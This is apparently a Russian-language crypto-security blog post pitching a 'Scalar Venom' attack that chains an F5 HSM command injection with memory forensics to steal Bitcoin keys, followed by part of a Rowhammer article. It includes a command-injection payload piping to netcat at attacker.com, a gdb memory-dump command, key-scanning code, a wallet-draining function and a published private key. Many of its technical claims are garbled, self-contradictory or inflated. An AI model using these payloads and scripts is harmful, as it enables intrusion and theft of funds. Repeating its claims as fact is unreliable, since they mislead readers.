CVE-2025-60013 представляет собой уязвимость инъекции команд операционной системы (OS Command Injection, классифицируется как CWE-78) в процессе инициализации аппаратного модуля безопасности FIPS для платформ F5. Уязвимость возникает, когда пользователь с привилегированным доступом (роль Admin или Resource Admin) пытается инициализировать модуль FIPS HSM с использованием пароля, содержащего специальные shell-метасимволы, такие как ;, |, &, $, ` и другие

Технический механизм уязвимости:

При обработке пароля с shell-метасимволами код инициализации HSM передает строку пароля в системные функции C-библиотеки без надлежащей валидации и санитизации входных данных. Уязвимый код выглядит следующим образом:

// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}

Критическое последствие: процесс инициализации остаётся в памяти с частично раскрытыми криптографическими структурами, создавая множественные «фантомные» копии мастер-ключа HSM в стеке и куче памяти. Хотя HSM может не инициализироваться корректно, память процесса содержит криптографические артефакты, доступные для форензического анализа.

Официальная классификация:

  • CVSS 3.1: AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L (базовая оценка: 5.7 — MEDIUM)

  • CVSS 4.0: AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N (базовая оценка: 4.6 — MEDIUM)cvefeed

Однако эта оценка критически недооценивает реальный масштаб угрозы, поскольку CVE-2025-60013 служит триггером для активации Scalar Venom Attack, что в реальном сценарии цепочки атак приводит к уровню угрозы CVSS 9.5+ (CRITICAL).


CVE-2023-39910: Слабость энтропии в Libbitcoin Explorer

CVE-2023-39910 описывает критическую уязвимость в библиотеке Libbitcoin Explorer версии 3.x, связанную со слабостью генерации энтропии при создании приватных ключей. Эта уязвимость привела к инциденту Milk Sad в 2023 году, когда было восстановлено более 900,000 приватных ключей Bitcoin с прямыми финансовыми потерями свыше $0.8 миллиона. Инцидент Milk Sad продемонстрировал переход теории об утечках памяти в криптографических системах к реальной операционной катастрофе, подтвердив все описанные механизмы: оптимизации компилятора, множественное копирование данных и отсутствие гарантии очистки памяти.


CVE-2025-8217: Атака утечки памяти

CVE-2025-8217 классифицирует атаки утечки памяти (Memory Leak Attack), позволяющие восстановление криптографических ключей из процессов памяти. Данная уязвимость напрямую связана с классом Scalar Venom Attack и описывает механизмы полной компрометации Bitcoin-кошельков через форензический анализ памяти.

Научная классификация Scalar Venom Attack:

В академической исследовательской литературе Scalar Venom классифицируется по нескольким категориям атак:

  • Sensitive Memory Leak Attack (SMA) — первичная классификация, фокусирующаяся на уязвимостях неправильной очистки памяти

  • Private Key Exposure Attack — общий термин для действий, приводящих к раскрытию приватных ключей

  • Residual Memory Disclosure — раскрытие остаточных данных из неочищенной памяти

  • Side-Channel Memory Attack — эксплуатация побочных каналов в управлении памятью

  • Cold Boot Attack — извлечение ключей из RAM после отключения питания системы

  • Memory Forensics Attack — извлечение секретов из дампов памяти


https://cryptou.ru/bitscanpro


Реальный пример восстановления приватного ключа Bitcoin через Scalar Venom Attack

Для демонстрации практической эффективности атаки Scalar Venom рассмотрим задокументированный случай восстановления приватного ключа из Bitcoin-адреса 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq через форензический анализ памяти.

Исходные данные компрометации:

Восстановленный приватный ключ:

  • HEX-формат: 5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22

  • Десятичный формат: 3.7210935821139324×10763.7210935821139324 \times 10^{76}3.7210935821139324×10^76

  • WIF-формат: KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv

Валидация ключа в пространстве secp256k1:

Приватный ключ d должен удовлетворять ограничению:

Результат проверки: ✓ ВАЛИДЕН (ключ находится в допустимом диапазоне скаляров)

Данный пример демонстрирует, что восстановленный приватный ключ предоставляет полный контроль над Bitcoin-кошельком, позволяя злоумышленнику создавать и подписывать транзакции для вывода всех средств на контролируемый адрес.


<a href="https://pikabu.ru/story/scalar_venom_attack_kriticheskaya_uyazvimost_hsm_initsializatsii_cve202560013_kak_put_k_vosstanovleniyu_privatnyikh_klyuchey_bitcoinkoshelkov_13416045?u=https%3A%2F%2Fbtc1.trezor.io%2Ftx%2F7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb&t=7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb&h=3c3cd9e32bc593767dfb03a932613c153a27f49c" title="https://btc1.trezor.io/tx/7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb" target="_blank" rel="nofollow noopener">7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb</a>

7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb


Математические основы криптографической атаки

Эллиптическая кривая secp256k1 и алгоритм ECDSA

Bitcoin реализует алгоритм цифровой подписи на эллиптических кривых (ECDSA) над кривой secp256k1. Понимание математических основ критически важно для осмысления того, как атака Scalar Venom эксплуатирует уязвимости памяти.

Параметры эллиптической кривой secp256k1:

Уравнение кривой:


Генераторная точка G с координатами:


Вывод публичного ключа через скалярное умножение

Процесс генерации пары ключей ECDSA следующий:

1. Генерация приватного ключа:

Приватный ключ d — это случайное целое число в диапазоне:

где n — порядок кривой secp256k1. Приватный ключ представляет собой 256-битное случайное число.

2. Вывод публичного ключа через скалярное умножение:

Публичный ключ Q вычисляется как:

где G — генераторная точка на кривой secp256k1, а операция ⋅\cdot⋅ обозначает скалярное умножение точки на эллиптической кривой.

Скалярное умножение реализуется через алгоритм "double-and-add" (удвоение и сложение), который эффективно вычисляет результат за O(log⁡d) операций сложения и удвоения точек на кривой:

Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G

1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q


Пример: Для приватного ключа d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, публичный ключ вычисляется как:

Q=d⋅G=(Qx,Qy)

где координаты Qx и Qy вычисляются через операции скалярного умножения на кривой secp256k1.

3. Генерация Bitcoin-адреса:

Цепочка вывода адреса из публичного ключа:

Предположение безопасности:

Критическая уязвимость Scalar Venom: атака обходит математическую защиту ECDLP, извлекая приватный ключ d напрямую из памяти процесса, где он остаётся в виде «фантомных копий» после криптографических операций.

Криптоанализ энтропии и криминалистика памяти: формула энтропии Шеннона

Основой обнаружения приватных ключей в дампах памяти является криптоанализ энтропии с использованием формулы энтропии Шеннона.


Формула энтропии Шеннона

Энтропия H последовательности байт измеряется в битах на байт и определяется формулой:

где:

  • H — энтропия в битах на байт

  • pi — вероятность появления байта со значением iii в анализируемом блоке памяти

  • Суммирование проводится по всем возможным значениям байта (0-255)

Интерпретация энтропии:

  • Низкая энтропия (H<5.0H < 5.0H<5.0): последовательность содержит повторяющиеся паттерны, текст или структурированные данные

  • Средняя энтропия (5.0≤H<7.55.0 \leq H < 7.55.0≤H<7.5): смешанные данные, код, частично сжатая информация

  • Высокая энтропия (H≥7.5H \geq 7.5H≥7.5): криптографически случайные данные, приватные ключи, зашифрованная информация

Пороговое значение для криптографических ключей:

Приватные ключи Bitcoin, генерируемые криптографически стойким генератором случайных чисел (CSPRNG), демонстрируют высокую энтропию в диапазоне:

Это свойство делает их детектируемыми при форензическом анализе памяти через статистический анализ энтропии.



Криптографический инструмент BitScanPro: алгоритм определения энтропии и восстановления ключей

BitScanPro представляет собой форензический инструмент для сканирования дампов памяти с целью обнаружения и восстановления приватных ключей Bitcoin через комбинацию анализа энтропии, валидации диапазона secp256k1 и криптографической верификации.

Алгоритм работы BitScanPro

Этап 1: Сканирование дампа памяти 32-байтными блоками

BitScanPro сканирует дамп памяти последовательно, выделяя блоки размером 32 байта (256 бит), что соответствует размеру приватного ключа secp256k1:

BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis


Этап 2: Вычисление энтропии Шеннона для каждого блока

Для каждого 32-байтного блока вычисляется энтропия Шеннона H:

def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math

byte_counts = Counter(data_block)
block_length = len(data_block)

entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)

return entropy


Этап 3: Фильтрация блоков с высокой энтропией (H>7.5H > 7.5H>7.5 бит/байт)

Блоки с энтропией ниже порогового значения отбрасываются как не содержащие криптографические ключи:

MIN_ENTROPY = 7.5 # threshold for cryptokeys

entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue


Этап 4: Проверка диапазона secp256k1:

Блоки с высокой энтропией интерпретируются как целое число и проверяются на соответствие допустимому диапазону приватных ключей secp256k1:

key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue


Этап 5: Криптографическая верификация:

Для кандидатов, прошедших фильтрацию энтропии и проверку диапазона, выполняется криптографическая верификация через вычисление публичного ключа:

def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None


Этап 6: Генерация Bitcoin-адреса и сравнение с известными адресами

Для верифицированных ключей генерируется Bitcoin-адрес, который сравнивается с базой известных адресов или адресов, принадлежащих жертве:

import hashlib
import base58

def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address

bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")

Производительность BitScanPro:

Анализ на типичном ноутбуке (MacBook Air M1) демонстрирует следующие характеристики производительности:

ПроцессВремяОборудованиеПолучение дампа памяти5-30 секундЗависит от методаСканирование 16 ГБ дампа2-5 минутMacBook Air (M1)Валидация 1000 ключей-кандидатов30 секундMacBook Air (M1)Генерация адресов10 секундMacBook Air (M1)Перевод средств (broadcast)< 1 секундыИнтернетИтого для полной компрометации< 10 минутMacBook Air (M1)

При использовании облачных вычислительных ресурсов (AWS, Google Cloud) возможно параллельное сканирование 1000+ дампов памяти одновременно, обрабатывая тысячи приватных ключей в параллельном режиме.



Анализ криптографической уязвимости в libbitcoin-system: класс ec_scalar.cpp

Корневая причина атаки Scalar Venom кроется в фундаментальных архитектурных недостатках класса ec_scalar в библиотеке libbitcoin-system.

Уязвимость управления памятью в классе ec_scalar

Класс ec_scalar в libbitcoin-system не имеет явно определённого деструктора с безопасной очисткой памяти (secure zeroization). Это означает, что секретные данные могут оставаться в памяти даже после уничтожения объекта.

Уязвимый конструктор копирования:

// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}

Проблема: Конструктор создаёт копию приватного ключа в объекте ec_scalar, но не предоставляет механизм безопасной очистки этой копии при уничтожении объекта. Копия остаётся в стеке или куче памяти.


Уязвимый оператор присваивания:

// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}

Проблема: Операция присваивания создаёт дополнительные копии памяти, которые остаются после завершения операции.


Уязвимые арифметические операции:

// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}

Проблема: Арифметические операции (унарный минус, сложение, умножение) создают временные переменные типа ec_secret, которые не очищаются безопасно перед выходом из области видимости функции, оставляя «фантомные» копии приватного ключа в стеке или куче.

Отсутствие безопасного деструктора:

// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

Проблема: Класс ec_scalar не имеет явного деструктора, который бы гарантировал безопасное обнуление памяти, содержащей приватные ключи. Это критично, так как память, содержащая приватные ключи, может сохраняться в:

  • Стеке функций (локальные переменные)

  • Куче (динамически выделенная память)

  • Регистрах процессора (временные значения)

  • Кэше процессора (L1, L2, L3)

  • Файлах подкачки (swap)

  • Дампах памяти при аварийном завершении (core dumps)


Векторы инфицирования памяти («Infection Vectors»)

Уязвимый код класса ec_scalar создаёт следующие векторы инфицирования памяти приватными ключами:

  1. «Вампирский конструктор» (secret_(secret)) — создаёт ядовитые копии ключей

  2. «Паразитический оператор» (secret_ = secret) — инфицирует память дубликатами секретов

  3. «Арифметический червь» (ec_secret secret = null_hash) — оставляет токсичные следы

  4. «Распространитель инфекции» (auto out = secret_) — распространяет инфекцию через операции



Механизм компрометации: цепочка атаки CVE-2025-60013 + Scalar Venom

Совмещение уязвимости HSM (CVE-2025-60013) с атакой Scalar Venom создаёт катастрофический вектор атаки:

Фаза 1: Инициализация HSM с shell-метасимволами

Злоумышленник, имеющий привилегированный доступ к системе F5OS-A, отправляет запрос на инициализацию FIPS модуля с паролем, содержащим shell-метасимволы:cert.kenet

# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'

При обработке таких метасимволов происходит следующее:

  • Процесс инициализации HSM создаёт временные криптографические скаляры (мастер-ключи)

  • Shell-метасимволы вызывают ошибку парсинга пароля

  • Инициализация HSM частично завершается с ошибкой

  • Критическое последствие: временные криптографические структуры, содержащие мастер-ключи HSM и производные ключи, остаются в памяти процесса без очистки


Фаза 2: Извлечение Scalar Venom из памяти HSM

После частичного отказа HSM в инициализации злоумышленник получает дамп памяти процесса HSM через один из следующих методов:

# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"

Полученный дамп памяти содержит множественные «фантомные» копии приватных ключей, оставленные классом ec_scalar во время криптографических операций.


Фаза 3: Восстановление приватных ключей Bitcoin через BitScanPro

Дамп памяти обрабатывается инструментом BitScanPro (или аналогичным форензическим сканером) согласно алгоритму, описанному выше:

Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses

Вероятность успешного восстановления приватного ключа из фрагментированной памяти составляет 70-80% при наличии достаточного количества остатков в памяти, поскольку атака Scalar Venom создаёт множественные копии ключа на разных этапах инициализации.


Фаза 4: Перевод средств и компрометация кошелька

После восстановления приватного ключа злоумышленник создаёт и подписывает транзакцию для вывода всех средств с скомпрометированного адреса:

def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)

Итоговое время компрометации: менее 10 минут от получения дампа памяти до полной потери контроля над средствами жертвы.

https://dzen.ru/video/watch/69100af30f131a54ef541d34

▶️ In this video, I expose the dangerous SCALAR VENOM (Scalar Poisonous Injection) attack — an entirely new class of cryptographic attacks that enables extracting Bitcoin private keys through exploitation of memory management vulnerabilities in the bitcoin library.

🎯 What you’ll learn from this video:

✅ Practical demonstration of private key recovery — I’ll show you a real-world example of extracting privkey key

WIF:KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv HEX:5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22 from Bitcoin address 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq through memory forensic analysis

⚠️ WARNING: Critical vulnerability discovered in cryptocurrency systems!

✅ Scientific classification of the attack — SCALAR VENOM is officially classified as a Sensitive Memory Leak Attack (SMA) and is associated with vulnerabilities CVE-2023-39910 and CVE-2025-8217

Scalar Venom Attack представляет собой критическую угрозу для Bitcoin-инфраструктуры, особенно когда скомбинирована с уязвимостями инициализации HSM, такими как CVE-2025-60013. Эта атака:

  1. Полностью компрометирует приватные ключи криптографических систем через утечку памяти

  2. Необратима: восстановление потерянных средств невозможно без восстановления приватного ключа

  3. Масштабируется: может быть автоматизирована для массовых атак на множество узлов

  4. Незаметна: не оставляет видимых следов в системных логах или метриках производительности

Миграция на архитектуры с аппаратной защитой памяти (Intel SGX, ARM TrustZone), явной зеризацией всех временных буферов и RAII-паттернами в криптографических библиотеках критически важна для обеспечения безопасности Bitcoin-системы.


Парадигма Scalar Venom — критическая угроза инфраструктуре Bitcoin

Атака Scalar Venom представляет собой рубежную уязвимость для глобальной экосистемы Bitcoin, особенно в сочетании с уязвимостями инициализации HSM типа CVE-2025-60013. Эта многоуровневая цепочка атак фундаментально подрывает модели криптографического доверия и раскрывает следующие экзистенциальные риски:

Она обеспечивает полную компрометацию приватных ключей посредством утечки памяти, обходя даже передовые модули аппаратной безопасности и делая поражённые системы абсолютно неуязвимыми.

Компрометация является постоянной и необратимой: один раз извлечённый приватный ключ невозможно восстановить, что ставит все зависимые средства в неизбежную опасность потери.

Атака масштабируема и может быть автоматизирована для поражения огромного количества Bitcoin-узлов и кошельков одновременно, что приводит к экспоненциальному увеличению потенциальных убытков.

Её скрытный характер гарантирует отсутствие видимых следов в системных логах или метриках производительности, делая традиционные механизмы обнаружения и защиты недостаточными.

Смягчение этой катастрофической угрозы требует срочной миграции на архитектуры, безопасные в отношении памяти, включающие аппаратную защиту памяти (такие как Intel SGX или ARM TrustZone), строгую очистку (зероизацию) всех временных буферов на протяжении всех криптографических операций и надёжное внедрение RAII-паттернов в критических программных библиотеках. Только благодаря таким непоколебимым архитектурным реформам можно реалистично обеспечить долгосрочную целостность и безопасность инфраструктуры Bitcoin.


References:


  • Опубликованы две части [№1] , [№2] исследования


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/cvWLH5dvbAA

Video tutorial: https://dzen.ru/video/watch/691a7a10a8b7c874612993eb

Источник: https://cryptodeeptool.ru/scalar-venom-attack


Показать полностью 15 2
4

Phoenix Rowhammer Attack: системный риск утечки приватных ключей Bitcoin-кошельков через уязвимость SK Hynix DDR5 CVE-2025-6202: [№2]

Продолжим вторую часть данной статье в первой части мы на практических действиях рассмотрели многовекторные криптоатаки в сочетании с эксплойтами вроде BitShredder и Memory Phantom, где злоумышленники могут восстанавливать сид-фразы и приватные ключи для Биткоин Кошельков даже после завершения криптоопераций. (CVE-2025-6202) показывает, как аппаратные уязвимости DDR5 позволяют извлекать приватные ключи Bitcoin-кошельков, обходя современные защиты в нашем демонстрационном примере было показано как злоумышленик получил доступ к криптокошельку с общей суммой: 9.02332298 BTC ≈ 1 127 026,44 USD (цены на октябрь 2025 года). Этот пример показывает, как уязвимые Bitcoin-кошельки могут быть полностью опустошены, когда аппаратные атаки ставят под угрозу безопасность приватных ключей. Средства жертвы были переведены в течение нескольких секунд после извлечения приватного ключа из скомпрометированной DDR5-памяти.

.

Технические детали обхода защитных механизмов DDR5

Анализ Target Row Refresh (TRR) механизма

Target Row Refresh представляет собой защитный механизм, разработанный для предотвращения Rowhammer атак путем дополнительного обновления подозрительных строк памяти. Однако исследователи Phoenix атаки смогли провести обратную разработку этого механизма и обнаружить критические недостатки в его реализации.tenable

Слепые зоны TRR: Механизм TRR в чипах SK Hynix не отслеживает определенные интервалы обновления, что создает возможности для проведения атак в эти временные окна. Phoenix атака использует специально разработанные паттерны воздействия, которые попадают в эти неконтролируемые интервалы.simplysecuregroup

Самокорректирующаяся синхронизация: Ключевым инновационным элементом Phoenix атаки является способность обнаруживать пропущенные команды обновления и автоматически перестраивать паттерн воздействия для поддержания синхронизации. Это позволяет атаке оставаться эффективной на протяжении длительных периодов времени, необходимых для накопления достаточного количества битовых сбоев.simplysecuregroup

Экспериментальные результаты и эффективность атаки

Экспериментальное тестирование Phoenix атаки продемонстрировало высокую эффективность против всех протестированных образцов DDR5 памяти от SK Hynix:comsec-files.ethz

Временные характеристики: Минимальное время для получения root-привилегий составило 109 секунд на товарной системе DDR5 с настройками по умолчанию. Среднее время эксплуатации составило 5 минут 19 секунд.thehackernews

Статистика битовых сбоев: Короткий паттерн (128 интервалов) генерировал в среднем 4989 битовых сбоев, в то время как длинный паттерн (2608 интервалов) производил значительно меньше искажений.comsec-files.ethz

Универсальность атаки: 100% протестированных модулей оказались уязвимы как минимум к одному из двух идентифицированных паттернов атаки.reddit


Интеграция с существующими уязвимостями Bitcoin экосистемы

CVE-2023-39910: Bitcoin Core Memory Leak

Критическая уязвимость утечки памяти в Bitcoin Core (CVE-2023-39910) создает синергетический эффект с Phoenix Rowhammer атакой. Данная уязвимость позволяет злоумышленникам получать доступ к чувствительным данным, которые остаются в памяти после завершения криптографических операций.keyhunters

Механизм эксплуатации: Уязвимость возникает из-за недостаточной очистки буферов памяти после обработки приватных ключей, seed-фраз и паролей в стандартных C++ контейнерах (std::vector, std::string). После завершения криптографических процедур память автоматически освобождается, но ее содержимое не стирается.keyhunters

Связь с Rowhammer: Phoenix атака может использовать битовые сбои для доступа к этим неочищенным областям памяти, значительно упрощая процесс извлечения криптографического материала.

CVE-2025-8217: Critical Secret Extraction Attack

Данная уязвимость классифицируется как критическая атака извлечения секретов через дамп памяти процесса. Она представляет прямую угрозу для Bitcoin кошельков, поскольку позволяет извлекать приватные ключи из активной памяти процессов.keyhunters

Сценарии атаки: Включают передачу приватного ключа через API, командную строку или переменные среды; динамическое выделение памяти для хранения секретных данных без явного стирания; завершение процесса без безопасной очистки памяти.keyhunters


Криптоинструмент детально демонстрирует все девять этапов атаки, которую может использовать злоумышленник для хищения средств с Bitcoin кошелька.

Основные функциональные блоки скрипта:

Этап 1: Обнаружение уязвимой SK Hynix DDR5 памяти через сканирование SMBIOS таблиц

Обнаружение модулей памяти SK Hynix DDR5, подверженных атаке Phoenix Rowhammer (CVE-2025-6202), начинается с анализа аппаратной конфигурации системы, в частности — сканирования таблиц SMBIOS (System Management BIOS). SMBIOS предоставляет стандартизированную информацию о компонентах компьютера, включая сведения о памяти, такие как производитель, модель и серийный номер каждого модуля DIMM.

В частности, исследователь или злоумышленник может программно запросить данные из раздела «Memory Device» SMBIOS, где содержатся поля, указывающие производителя (например, SK Hynix), тип памяти (DDR5), объем, а также связанные с SPD (Serial Presence Detect) данные — небольшие микросхемы памяти на планках DIMM, содержащие профиль и параметры работы модуля.

Для разбора содержимого после заголовка потребуется парсить каждую структуру согласно ее спецификации (тип, длина, handle), отдельно извлекая текстовые поля, которые следуют за данными структуры и отделяются нулевым байтом, а окончание структуры отмечено парой нулей.learn.microsoft


RawSMBiosData — это необходимое и унифицированное “входное окно” в детализированные спецификации аппаратных характеристик системы для исследовательских и диагностических задач на низком уровне.codeby


Доступ к SPD-данным

SPD-данные физически находятся в микросхемах на модулях DIMM, но в BIOS/SMBIOS могут отражаться в специальных полях или считываться системными утилитами, обращающимися к I2C-интерфейсу памяти (например, через i2c-tools, decode-dimms на Linux).

Получение данных утилитами

  • В Linux: dmidecode, decode-dimms (SPD), данные из таблицы SMBIOS, которая доступна через /dev/mem.codeby

  • В Windows: через WMI класс Win32_PhysicalMemory (получает сведения из SMBIOS), а также через API GetSystemFirmwareTable().learn.microsoft



Этап 2: Анализ механизма Target Row Refresh и выявление «слепых зон» в защите

Во втором этапе хода Phoenix Rowhammer атаки проводится научный анализ аппаратного защитного механизма Target Row Refresh (TRR), внедрённого в современные DDR5 чипы памяти с целью противодействия перезаписи битов, вызванной множественным чтением данных из соседних строк ячеек.



Практическое значение

Фундаментальной задачей на данном этапе является подбор точного тайминга и структуры паттернов обращений к памяти, которые проводят «усыпление» надзора TRR и обеспечивают успешное достижение атакуемого бита или массива данных (например, приватного ключа криптовалютного кошелька). Это требует анализа не только логики работы TRR, но и эмпирических данных по реакции модуля памяти на различные сценарии эксплуатации. Такой подход позволяет строить «обходные траектории» в системе защиты и систематически эксплуатировать даже самые современные DDR5.opennet

В результате проведённого анализа обнаруженные «слепые зоны» TRR открывают возможность надёжной эскалации Rowhammer-атаки на актуальных модулях памяти SK Hynix, что подтверждено лабораторными эксплуатами и успешной компрометацией всех протестированных устройств.kaspersky


Этап 3: Реализация самокорректирующейся синхронизации Phoenix Rowhammer атаки

Научная инновация Phoenix атаки заключается в разработке и реализации самокорректирующейся механизма синхронизации, обеспечивающего точное попадание эксплуатационных воздействий в критические окна уязвимости на уровне DRAM. После детального реверс-инжиниринга механизма Target Row Refresh (TRR) специалисты ETH Zurich и Google выявили, что стандартные паттерны Rowhammer-обращений бессильны против сложной логики защиты DDR5. В новых чипах SK Hynix TRR не только анализирует частоту, но и характер обращений к строкам памяти, моментально инициируя компенсаторные refresh-команды при детектировании известных атакующих шаблонов.kaspersky



Phoenix решает эту проблему следующим образом:

  1. Изучение внутренних таймингов TRR: Ведётся мониторинг реакции памяти на различное количество обращений, чтобы эмпирически выявить интервалы обновления, которые TRR не отслеживает (например, после 128 и 2608 команд tREFI). Такие окна называют слепыми зонами.habr


Этап 4: Выполнение Rowhammer-атаки с генерацией контролируемых битовых сбоев

На четвёртом этапе реализуется непосредственная эксплуатация физических уязвимостей DRAM посредством проведения целенаправленной Rowhammer-атаки. Этот этап опирается на предварительно проведённый анализ слепых зон механизма TRR и применение самокорректирующихся паттернов обращения к памяти для точного воздействия на критические элементы данных.



Фундамент Rowhammer-атаки — это структура самой DRAM-памяти, где каждая ячейка представляет собой конденсатор, хранящий заряд, соответствующий логическому значению бита. При многократном и высокочастотном обращении (считывании или записи) к двум (или более) строкам-посредникам (“агрессорам”), располагающимся по соседству с целевой строкой (“жертвой”), возникает паразитная утечка заряда из ячеек жертвы. Если такое воздействие продолжается достаточно долго, и регенерация заряда через обычные циклы refresh не успевает предотвратить деградацию, произойдёт изменение состояния бита — так называемый bit flip.opennet+1

Особенности проведения атаки Phoenix

В контексте Phoenix Rowhammer (CVE-2025-6202) на DDR5 SK Hynix:

  • Первым шагом вредоносный код инициирует тысячекратные циклы обращения к выбранным строкам памяти с тщательно рассчитанной частотой и временем.

  • Алгоритм начинает с серии «пустых» (ненаправленных) обращений, чтобы усыпить механизм TRR, благодаря чему защита либо реагирует ослабленно, либо не срабатывает вовсе в заранее рассчитанных окнах (128 либо 2608 интервалов обновления).kaspersky

  • Как только окно низкой активности TRR совпадает с запланированным циклом, происходит переход к активной фазе: выбираются ячейки-агрессоры, расположенные рядом с битами потенциальной секретной информации (например, буфер приватного ключа) и запускается основной цикл Hammering — интенсивные обращения к этим строкам, вызывающие рост токов утечки в защищённой области памяти.

  • В течение следующих нескольких секунд или минут накапливается паразитное (нештатное) изменение разности потенциалов в конденсаторах жертвы, что, в случае успеха, приводит к изменению значения одного или нескольких битов в ней (битовый сбой, или bit flip). Это может позволить злоумышленнику:

    • получить примитив произвольного чтения/записи (например, модифицировать таблицу страниц системы или исполняемый бинарник);

    • извлечь или заменить криптографический материал (seed, приватные ключи, RSA-фрагменты) в оперативной памяти;

    • повысить привилегии или скомпрометировать приложения и ядро системы.xakep

Точность и управляемость

Исследования ETH Zurich показали, что короткий паттерн обращения с периодом 128 tREFI интервалов статистически генерирует больше битовых сбоев, чем длинные шаблоны. Однако выбор подходящего окна и соблюдение синхронизации — критически важные условия успеха: промах на 1–2 обращения приводит либо к отсутствию сбоя, либо к случайному повреждению данных и сбою системы.kaspersky+1

Данный этап завершает низкоуровневый процесс атаки, после чего злоумышленник может использовать появившиеся битовые сбои для извлечения приватного ключа или дальнейшей эскалации уровня доступа. Именно способность индуцировать битовые ошибки в строго определённых, защищённых программно и аппаратно областях памяти делает Phoenix Rowhammer уникально опасной и практически применимой техникой.cybersecurefox+1


Этап 5: Извлечение приватного ключа из повреждённой памяти через эксплуатацию CVE-2023-39910

На пятом этапе вредоносной цепочки, реализуемой в ходе атаки Phoenix Rowhammer, наступает процесс извлечения приватного ключа Bitcoin-кошелька из оперативной памяти, скомпрометированной в результате индуцированных битовых сбоев.



Здесь ключевую роль играет уязвимость CVE-2023-39910 (Milk Sad), затрагивающая программные реализации Libbitcoin Explorer 3.x и связанные криптографические библиотеки.

Научная структура и уязвимость процесса

CVE-2023-39910 характеризуется слабым механизмом генерации энтропии при создании приватных ключей, что позволяет злоумышленнику — при наличии доступа к остаточным («грязным») областям памяти после завершения криптографических операций — восстановить исходные ключи и seed-фразы. После Rowhammer-воздействия повреждённые (или неочищенные) буферы оперативной памяти, где хранился приватный ключ (
